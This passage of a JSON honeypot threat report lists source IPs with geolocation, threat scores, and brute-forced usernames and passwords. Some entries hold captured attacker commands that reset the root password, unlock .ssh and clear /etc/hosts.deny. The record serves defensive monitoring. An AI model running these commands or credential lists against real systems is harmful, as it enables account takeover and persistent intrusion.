        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T23:38:00.266000+00:00",
        "last_seen_30d": "2026-04-02T23:39:20.722000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.183.248.171": {
      "attack_count": 2,
      "first_seen": "2026-04-27T16:02:19.020Z",
      "last_seen": "2026-04-27T16:04:19.023Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Goya",
      "asn": 20207,
      "as_org": "Gigared S.A.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T16:02:19.020000+00:00",
        "last_seen_30d": "2026-04-27T16:15:06.974000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.107": {
      "attack_count": 2,
      "first_seen": "2026-04-20T02:36:37.317Z",
      "last_seen": "2026-04-20T02:36:37.476Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T03:20:20.868000+00:00",
        "last_seen_30d": "2026-04-30T20:15:13.632000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 28,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "198.235.24.60": {
      "attack_count": 2,
      "first_seen": "2026-04-26T03:06:14.993Z",
      "last_seen": "2026-04-26T03:06:15.145Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T05:48:26.052000+00:00",
        "last_seen_30d": "2026-04-30T22:32:16.379000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 19,
        "Cowrie": 2,
        "H0neytr4p": 1,
        "Honeyaml": 1
      }
    },
    "205.210.31.46": {
      "attack_count": 2,
      "first_seen": "2026-04-18T16:55:25.293Z",
      "last_seen": "2026-04-18T16:55:56.969Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 30,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T04:34:14.019000+00:00",
        "last_seen_30d": "2026-04-30T18:29:59.109000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 23,
        "Cowrie": 2,
        "Dionaea": 2,
        "H0neytr4p": 1
      }
    },
    "223.166.22.130": {
      "attack_count": 2,
      "first_seen": "2026-04-01T05:17:59.629Z",
      "last_seen": "2026-04-01T05:18:20.182Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 17621,
      "as_org": "China Unicom Shanghai network",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:17:59.629000+00:00",
        "last_seen_30d": "2026-04-01T05:19:26.189000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "51.235.111.137": {
      "attack_count": 2,
      "first_seen": "2026-04-30T06:58:20.823Z",
      "last_seen": "2026-04-30T06:58:34.109Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Dammam",
      "asn": 39891,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:58:20.823000+00:00",
        "last_seen_30d": "2026-04-30T06:59:39.505000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.91.36.159": {
      "attack_count": 2,
      "first_seen": "2026-04-06T06:12:20.070Z",
      "last_seen": "2026-04-06T06:12:33.835Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ajmer",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T06:12:20.070000+00:00",
        "last_seen_30d": "2026-04-06T06:13:37.758000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "66.42.133.139": {
      "attack_count": 2,
      "first_seen": "2026-04-04T19:05:20.239Z",
      "last_seen": "2026-04-04T19:05:32.913Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "West Chester",
      "asn": 6181,
      "as_org": "Cincinnati Bell Telephone Company LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T19:05:20.239000+00:00",
        "last_seen_30d": "2026-04-04T19:06:42.829000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.53.43.185": {
      "attack_count": 2,
      "first_seen": "2026-04-27T01:07:11.112Z",
      "last_seen": "2026-04-27T01:07:25.486Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Link\u00f6ping",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T01:07:11.112000+00:00",
        "last_seen_30d": "2026-04-27T01:08:31.235000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.222.172.218": {
      "attack_count": 2,
      "first_seen": "2026-04-02T23:14:24.250Z",
      "last_seen": "2026-04-02T23:14:55.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T23:14:24.250000+00:00",
        "last_seen_30d": "2026-04-02T23:16:00.292000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "84.54.120.10": {
      "attack_count": 2,
      "first_seen": "2026-04-30T07:46:15.980Z",
      "last_seen": "2026-04-30T07:46:30.912Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:46:15.980000+00:00",
        "last_seen_30d": "2026-04-30T07:47:32.143000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.244.201.15": {
      "attack_count": 2,
      "first_seen": "2026-04-23T15:15:18.018Z",
      "last_seen": "2026-04-23T15:15:30.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Turin",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T15:15:18.018000+00:00",
        "last_seen_30d": "2026-04-23T15:16:36.369000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.148.10.121": {
      "attack_count": 1973,
      "first_seen": "2026-04-01T06:18:03.785Z",
      "last_seen": "2026-04-30T18:12:26.167Z",
      "sessions": 380,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "AdminGPON",
        "user",
        "ubnt"
      ],
      "passwords_attempted": [
        "admin",
        "ALC#FGU",
        "user",
        "ubnt",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.client.fingerprint"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 84.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4093,
        "days_active_30d": 30,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:13:23.880000+00:00",
        "last_seen_30d": "2026-04-30T23:31:53.672000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1975,
        "Cowrie": 1889,
        "Honeytrap": 229
      }
    },
    "46.151.182.2": {
      "attack_count": 1755,
      "first_seen": "2026-04-09T23:04:12.717Z",
      "last_seen": "2026-04-09T23:44:55.898Z",
      "sessions": 353,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "admin",
        "ftpuser",
        "test",
        "deployer",
        "oracle",
        "ali",
        "bot",
        "claude",
        "demo",
        "dev",
        "frappe",
        "hadoop",
        "jenkins",
        "minecraft",
        "steam",
        "student"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345",
        "P@ssw0rd",
        "password",
        "12345678",
        "1",
        "1234",
        "1qaz@WSX",
        "p@ssw0rd",
        "admin",
        "root",
        "1111",
        "123root",
        "Aa123456",
        "Admin@123",
        "admin123",
        "airflow",
        "alex123",
        "arthur"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 2472,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T23:04:12.717000+00:00",
        "last_seen_30d": "2026-04-09T23:46:03.626000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1755,
        "Suricata": 717
      }
    },
    "192.109.200.18": {
      "attack_count": 1260,
      "first_seen": "2026-04-29T04:09:01.271Z",
      "last_seen": "2026-04-29T04:24:37.680Z",
      "sessions": 252,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "admin",
        "minecraft",
        "test",
        "user",
        "alex",
        "bot",
        "debian",
        "deployer",
        "dev",
        "ftpuser",
        "oracle",
        "aaa",
        "administrator",
        "ali",
        "bob",
        "botuser",
        "devuser"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "P@ssw0rd",
        "password",
        "1",
        "admin",
        "admin123",
        "p@ssw0rd",
        "1111",
        "123123123",
        "Admin@123",
        "airflow",
        "alex123",
        "arthur",
        "chris",
        "q1w2e3r4"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1775,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T04:09:01.271000+00:00",
        "last_seen_30d": "2026-04-29T04:25:42.543000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1260,
        "Suricata": 515
      }
    },
    "103.28.89.75": {
      "attack_count": 1214,
      "first_seen": "2026-04-03T03:33:33.879Z",
      "last_seen": "2026-04-03T05:29:11.396Z",
      "sessions": 245,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "hadoop",
        "postgres",
        "app",
        "dev",
        "dolphinscheduler",
        "elastic",
        "esuser",
        "ftp",
        "guest",
        "lighthouse"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        " ",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1873,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:33:33.879000+00:00",
        "last_seen_30d": "2026-04-03T05:30:19.486000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1214,
        "Suricata": 659
      }
    },
    "51.79.84.112": {
      "attack_count": 728,
      "first_seen": "2026-04-01T03:05:24.342Z",
      "last_seen": "2026-04-01T04:35:40.457Z",
      "sessions": 144,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "gitlab",
        "user",
        "deploy",
        "dev",
        "esuser",
        "flask",
        "git",
        "guest",
        "uftp",
        "apache",
        "app",
        "centos",
        "developer",
        "dolphinscheduler",
        "elastic",
        "es",
        "hadoop"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "1234",
        "12345678",
        "1qazXSW@",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "111111",
        "123456789",
        "1234567890",
        "1234qwer",
        "123qwe",
        "1qaz@WSX",
        "1qaz@wsx",
        "1qazxsw2",
        "4r3e2w1q",
        "AA123456"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1043,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T03:05:24.342000+00:00",
        "last_seen_30d": "2026-04-01T04:36:50.222000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 728,
        "Suricata": 315
      }
    },
    "211.213.96.6": {
      "attack_count": 590,
      "first_seen": "2026-04-01T05:28:06.746Z",
      "last_seen": "2026-04-10T00:36:38.224Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftpuser",
        "claude",
        "n8n",
        "reza",
        "server",
        "user",
        "user03",
        "administrador",
        "ali",
        "bitrix",
        "deploy",
        "es",
        "ftptest",
        "hduser",
        "john",
        "minecraft",
        "oo"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "root",
        "0l0ctyQh243O63uD",
        "123",
        "1234",
        "123456As",
        "123789",
        "1qaz2wsx",
        "223344",
        "A123456789a",
        "AaBbCc",
        "Abcd12345",
        "Admin12#$",
        "Admin@123",
        "Bb123456",
        "Huawei@2026",
        "Mima1234",
        "N8N"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\naNWnpN1xCP2G\\naNWnpN1xCP2G\\n\"|passwd",
        "echo \"N8N\\nGKzWH1nAdFVN\\nGKzWH1nAdFVN\\n\"|passwd",
        "echo \"root:bzj946riGAT4\"|chpasswd|bash",
        "echo \"user031\\n9JrKo9RyPfxF\\n9JrKo9RyPfxF\\n\"|passwd",
        "echo -e \"1234\\naNWnpN1xCP2G\\naNWnpN1xCP2G\"|passwd|bash",
        "echo -e \"N8N\\nGKzWH1nAdFVN\\nGKzWH1nAdFVN\"|passwd|bash",
        "echo -e \"user031\\n9JrKo9RyPfxF\\n9JrKo9RyPfxF\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 757,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:28:06.746000+00:00",
        "last_seen_30d": "2026-04-10T00:37:45.054000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 590,
        "Suricata": 167
      }
    },
    "152.32.211.151": {
      "attack_count": 530,
      "first_seen": "2026-04-16T17:02:00.568Z",
      "last_seen": "2026-04-22T10:22:36.870Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "debian",
        "oracle",
        "pbsworksuser",
        "richard",
        "sammy",
        "test",
        "user",
        "admin1234",
        "develop",
        "ftpuser",
        "icp",
        "linux",
        "odoo15",
        "odoouser",
        "postgres",
        "prtg"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123456..",
        "123456789*",
        "12345q",
        "1qaz@WSX",
        "1qq2w3e4r5t",
        "9ol.#$",
        "@aA123456",
        "Abc@123..",
        "Admin888.",
        "BBzz111",
        "Hy123456@",
        "Oracle13!",
        "Pass@2020",
        "QWE!123",
        "Qazwsx11111111!@#",
        "QweAsdZxc1234",
        "Qwerty12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nNXI9MGjasuqc\\nNXI9MGjasuqc\\n\"|passwd",
        "echo \"1qaz@WSX\\n333luANTRWLS\\n333luANTRWLS\\n\"|passwd",
        "echo \"pbsworksuser\\niQUVL78zO8NT\\niQUVL78zO8NT\\n\"|passwd",
        "echo \"root:uJ0DqBkOA2tL\"|chpasswd|bash",
        "echo -e \"123456\\nNXI9MGjasuqc\\nNXI9MGjasuqc\"|passwd|bash",
        "echo -e \"1qaz@WSX\\n333luANTRWLS\\n333luANTRWLS\"|passwd|bash",
        "echo -e \"pbsworksuser\\niQUVL78zO8NT\\niQUVL78zO8NT\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 662,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T17:02:00.568000+00:00",
        "last_seen_30d": "2026-04-22T10:23:44.883000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 530,
        "Suricata": 132
      }
    },
    "186.96.151.198": {
      "attack_count": 482,
      "first_seen": "2026-04-05T01:00:19.831Z",
      "last_seen": "2026-04-30T04:24:56.241Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "centos",
        "odoo",
        "oracle",
        "postgres",
        "test",
        "Ubuntu",
        "ali",
        "andy",
        "bitrix",
        "ec2-user",
        "ftp_user",
        "ftpadmin",
        "ftpuser",
        "ftpuser1",
        "fuser",
        "git"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx#EDC",
        "0",
        "000000",
        "001002",
        "1",
        "111111",
        "123123",
        "12345",
        "123456a",
        "1a2b3c!@#",
        "1qaz3edc",
        "1z2x3c",
        "99999999",
        "AAdd123",
        "Aa121314",
        "Asdf@@",
        "M45uys51!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
